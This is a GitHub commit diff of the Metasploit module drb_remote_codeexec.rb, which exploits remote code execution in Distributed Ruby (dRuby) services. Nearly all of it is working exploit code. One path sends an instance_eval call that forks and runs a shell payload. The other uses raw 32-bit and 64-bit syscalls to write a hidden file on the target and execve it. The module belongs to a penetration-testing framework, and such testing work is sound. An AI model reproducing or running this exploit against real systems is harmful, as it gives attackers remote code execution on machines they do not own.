Skip to content

Commit 18bafaa

Browse files
committed
Land rapid7#7531, Fix drb_remote_codeexec and create targets
2 parents 3833145 + da356e7 commit 18bafaa

File tree

1 file changed

+49
-21
lines changed

1 file changed

+49
-21
lines changed

modules/exploits/linux/misc/drb_remote_codeexec.rb

Lines changed: 49 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -7,33 +7,39 @@
77
require 'drb/drb'
88

99
class MetasploitModule < Msf::Exploit::Remote
10+
1011
Rank = ExcellentRanking
1112

13+
include Msf::Exploit::FileDropper
14+
1215
def initialize(info = {})
1316
super(update_info(info,
1417
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
1518
'Description' => %q{
16-
This module exploits remote code execution vulnerabilities in dRuby
19+
This module exploits remote code execution vulnerabilities in dRuby.
20+
21+
If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
22+
In this event, the syscall target is preferred. This can be set with target 1.
1723
},
1824
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
1925
'License' => MSF_LICENSE,
2026
'References' =>
2127
[
2228
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
29+
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
2330
],
2431
'Privileged' => false,
2532
'Payload' =>
2633
{
2734
'DisableNops' => true,
28-
'Compat' =>
29-
{
30-
'PayloadType' => 'cmd',
31-
},
3235
'Space' => 32768,
3336
},
3437
'Platform' => 'unix',
3538
'Arch' => ARCH_CMD,
36-
'Targets' => [[ 'Automatic', { }]],
39+
'Targets' => [
40+
['instance_eval', {}],
41+
['syscall', {}]
42+
],
3743
'DisclosureDate' => 'Mar 23 2011',
3844
'DefaultTarget' => 0))
3945

@@ -51,19 +57,37 @@ def exploit
5157
class << p
5258
undef :send
5359
end
60+
61+
case target.name
62+
when 'instance_eval'
63+
print_status('Trying to exploit instance_eval')
64+
exploit_instance_eval(p)
65+
when 'syscall'
66+
print_status('Trying to exploit syscall')
67+
exploit_syscall(p)
68+
end
69+
end
70+
71+
def exploit_instance_eval(p)
5472
begin
55-
print_status('trying to exploit instance_eval')
5673
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
74+
rescue SecurityError
75+
print_error('instance_eval failed due to security error')
76+
rescue DRb::DRbConnError
77+
print_error('instance_eval failed due to connection error')
78+
end
79+
end
5780

58-
rescue SecurityError => e
59-
print_status('instance eval failed, trying to exploit syscall')
60-
filename = "." + Rex::Text.rand_text_alphanumeric(16)
61-
begin
81+
def exploit_syscall(p)
82+
filename = "." + Rex::Text.rand_text_alphanumeric(16)
6283

84+
begin
85+
begin
86+
print_status('Attempting 32-bit exploitation')
6387
# syscall to decide wether it's 64 or 32 bit:
6488
# it's getpid on 32bit which will succeed, and writev on 64bit
6589
# which will fail due to missing args
66-
j = p.send(:syscall,20)
90+
p.send(:syscall,20)
6791
# syscall open
6892
i = p.send(:syscall,8,filename,0700)
6993
# syscall write
@@ -75,13 +99,9 @@ class << p
7599
# syscall execve
76100
p.send(:syscall,11,filename,0,0)
77101

78-
# not vulnerable
79-
rescue SecurityError => e
80-
81-
print_status('target is not vulnerable')
82-
83102
# likely 64bit system
84-
rescue => e
103+
rescue Errno::EBADF
104+
print_status('Target is a 64-bit system')
85105
# syscall creat
86106
i = p.send(:syscall,85,filename,0700)
87107
# syscall write
@@ -93,9 +113,17 @@ class << p
93113
# syscall execve
94114
p.send(:syscall,59,filename,0,0)
95115
end
116+
117+
# not vulnerable
118+
rescue SecurityError
119+
print_error('syscall failed due to security error')
120+
return
121+
rescue DRb::DRbConnError
122+
print_error('syscall failed due to connection error')
123+
return
96124
end
97-
print_status("payload executed from file #{filename}") unless filename.nil?
98-
print_status("make sure to remove that file") unless filename.nil?
99-
handler(nil)
125+
126+
register_files_for_cleanup(filename)
100127
end
128+
101129
end

0 commit comments

Comments
 (0)